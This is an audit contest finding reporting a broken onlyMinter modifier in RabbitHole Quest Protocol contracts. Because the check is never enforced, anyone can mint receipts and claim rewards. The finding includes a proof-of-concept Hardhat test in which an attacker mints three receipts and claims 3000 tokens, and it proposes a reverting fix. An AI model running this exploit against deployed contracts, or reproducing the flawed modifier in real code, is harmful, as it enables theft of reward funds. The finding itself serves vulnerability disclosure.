RabbitHole Quest Protocol contest - frankudoags's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L99 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L96-L118

Vulnerability details

Impact

Detailed description of the impact of this finding. https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50

 modifier onlyMinter() {
        msg.sender == minterAddress;
        _;
    }

This modifier has a logical error. The msg.sender == minterAddress line compares the sender of the message (the account calling the function) to the minterAddress variable, but it does not do anything with the result of the comparison.

We see that the modifier is acting as a guard to the mint functions in the following contracts: RabbitHoleReceipts and RabbitHoleTickets

function mint(address to_, string memory questId_) public onlyMinter {
        _tokenIds.increment();
        uint newTokenID = _tokenIds.current();
        questIdForTokenId[newTokenID] = questId_;
        timestampForTokenId[newTokenID] = block.timestamp;
        _safeMint(to_, newTokenID);
    }

  function mint(address to_, uint256 id_, uint256 amount_, bytes memory data_) public onlyMinter {
        _mint(to_, id_, amount_, data_);
    }

    /// @dev mint a batch of tickets, only callable by the allowed minter
    /// @param to_ the address to mint the tickets to
    /// @param ids_ the ids of the tickets to mint
    /// @param amounts_ the amounts of the tickets to mint
    /// @param data_ the data to pass to the mint function
    function mintBatch(
        address to_,
        uint256[] memory ids_,
        uint256[] memory amounts_,
        bytes memory data_
    ) public onlyMinter {
        _mintBatch(to_, ids_, amounts_, data_);
    }

Given that these functions aren't protected as assumed, a malicious external actor can mint multiple rabbitHoleReceipts for a Quest by calling the rabbitHoleReceipts contacts directly with the questID and use the receipts to claim multiple rewards(reward tokens) resulting in a breach in core functionality. Here is the claim function:

/// @notice Allows user to claim the rewards entitled to them
    /// @dev User can claim based on the (unclaimed) number of tokens they own of the Quest
    function claim() public virtual onlyQuestActive {
        if (isPaused) revert QuestPaused();

        uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender);

        if (tokens.length == 0) revert NoTokensToClaim();

        uint256 redeemableTokenCount = 0;
        for (uint i = 0; i < tokens.length; i++) {
            if (!isClaimed(tokens[i])) {
                redeemableTokenCount++;
            }
        }

        if (redeemableTokenCount == 0) revert AlreadyClaimed();

        uint256 totalRedeemableRewards = _calculateRewards(redeemableTokenCount);
        _setClaimed(tokens);
        _transferRewards(totalRedeemableRewards);
        redeemedTokens += redeemableTokenCount;

        emit Claimed(msg.sender, totalRedeemableRewards);
    }

We see that the claim function gets the malicious actor's no of tokens and uses it to calculate and transfer rewards to the actor. Actor can rinse and repeat till all rewards are claimed

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Here's a modified test for test/Erc20Quest.spec.ts where a bad actor operates and can mint 3 receipts and claim their rewards

//added a badActor to tests 

  let badActor: SignerWithAddress
const [local_owner, local_firstAddress, local_secondAddress, local_thirdAddress, local_fourthAddress, local_badActor] =
      await ethers.getSigners()

describe('Malicious user', async () => { 

    it('Mint a receipt and claim rewards', async () => {
      await deployedQuestContract.connect(owner).start();

      await deployedRabbitholeReceiptContract.connect(badActor).mint(badActor.address, questId);
      await deployedRabbitholeReceiptContract.connect(badActor).mint(badActor.address, questId);
      await deployedRabbitholeReceiptContract.connect(badActor).mint(badActor.address, questId);
      expect(await deployedRabbitholeReceiptContract.balanceOf(badActor.address)).to.equal(3)

      await ethers.provider.send('evm_increaseTime', [86400])
      await deployedQuestContract.connect(badActor).claim();
      expect(await deployedSampleErc20Contract.balanceOf(badActor.address)).to.equal(3 * 1000)

    })

  })

Tools Used

Manual Search, VSCode

Recommended Mitigation Steps

A common way to handle this would be to use an if statement to check if the sender is the minter, and if not, revert the transaction. For example:

error Caller_Not_Minter();

modifier onlyMinter() {
       if(msg.sender != minterAddress) revert Caller_Not_Minter();
        _;
    }